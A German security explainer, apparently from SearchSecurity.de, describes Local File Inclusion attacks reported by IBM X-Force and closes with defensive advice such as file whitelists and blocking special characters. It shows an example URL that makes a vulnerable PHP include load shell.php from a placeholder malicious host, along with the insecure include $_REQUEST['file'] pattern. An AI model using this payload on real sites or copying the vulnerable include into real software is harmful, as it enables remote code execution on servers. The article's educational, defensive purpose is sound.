Wie funktionieren Local-File-Inclusion-Angriffe?

Mit LFI-Angriffen (Local File Inclusion) verschaffen sich Angreifer Zugang zu fremden Webservern. Sie setzen dazu nur Dateien ein, die bereits auf dem Zielsystem vorhanden sind.

Die Sicherheitsforscher von IBM X-Force Threat Research haben einen Angriff entdeckt, bei dem nur lokal auf einem Rechner bereits vorhandene Dateien verwendet werden. Die Attacke soll sich bereits gegen mehr als 100 Kunden von IBM gerichtet haben. Im Englischen wird für diese Art von Angriffen die Abkürzung LFI verwendet. Sie steht für „Local File Inclusion“. Was verbirgt sich dahinter und wie können sie gestoppt werden?

PHP ist eine Skriptsprache, die nicht sicher vor LFI-Attacken ist. Das liegt unter anderem daran, dass sie selbst immer wieder auf lokale Dateien zugreift, die auf dem jeweiligen Server gespeichert sind. Auf diese Weise können Angreifer eigene Kommandos ausführen, um etwa Schadcode einzuschmuggeln.

Die entdeckte Angriffsmethode verwendet nur auf einem Unix-Server bereits vorhandene Dateien. Die Kriminellen nutzen dabei bestimmte Befehle, die etwa per Link an die Zielseite übergeben und dort dann ausgeführt werden. Ihre Eingaben enthalten entweder einen Dateinamen oder eine URL (Uniform Resource Locator), die ebenfalls auf eine Datei verweist.

Im folgenden Beispiel wird der File-Parameter verwendet, um auf eine externe Datei zu linken, die schädlichen Code enthält:

http://www.victim_site.com/test.php?file=http://www.malicious.com/shell.php

Der Parameter wird in folgendem PHP-Code untergebracht:

test.php

<?php

. . .

include $_REQUEST['file'];

. . .

?>

Mit Hilfe der shell.php kann der Angreifer dann ohne weitere Autorisierung auf lokale Dateien zugreifen und diese für seine Zwecke verwenden.

Der von IBM X-Force Threat Research entdeckte Angriff geht aber noch aggressiver vor, indem für seine weitere Verbreitung Bots eingesetzt werden. Außerdem versuchen die Kriminellen mit einem wget-Befehl eine eigene shell.php auf den Servern der Opfer zu platzieren.

Dazu nutzen sie die Datei /proc/self/environ, die für in einem System wichtige Umgebungsvariablen verwendet wird. Sie sollte eigentlich nur für den Nutzer root zugänglich sein. Um zu erfahren, ob der Angriff erfolgreich war, verwenden die Angreifer noch ein weiteres PHP-Skript, das bei Erfolg den mit MD5 gehashten Wert „carbon” zurücksendet.

<? php

echo md5("carbon");

die():

?>

Der effektivste Schutz gegen LFI-Angriffe ist, die Weitergabe von Parametern an das lokale Dateisystem und an das Framework-API komplett zu deaktivieren. Wenn das nicht möglich ist, sollte die Webanwendung eine Whitelist mit akzeptablen Dateien enthalten. Diese Dateien dürfen nur die Buchstaben a - z und Ziffern als Dateinamen verwenden. Sonderzeichen wie zum Beispiel der Doppelpunkt und Schrägstriche sollten blockiert werden. Sie könnten sonst für die Eingabe von URLs in der Form http:// genutzt werden.

Außerdem sollte der API nur erlaubt werden, auf Dateien in einem bestimmten Verzeichnis zuzugreifen. Zusätzlich sollten alle Anfragen beziehungsweise Eingaben, die ungültige Zeichen enthalten, verworfen werden.

Folgen Sie SearchSecurity.de auch auf Twitter, Google+, Xing und Facebook!

Nächste Schritte

Webserver und Webanwendungen absichern

Schwachstellen auf Websites finden

Cross Site Scripting: Das sollten Unternehmen wissen

Erfahren Sie mehr über Bedrohungen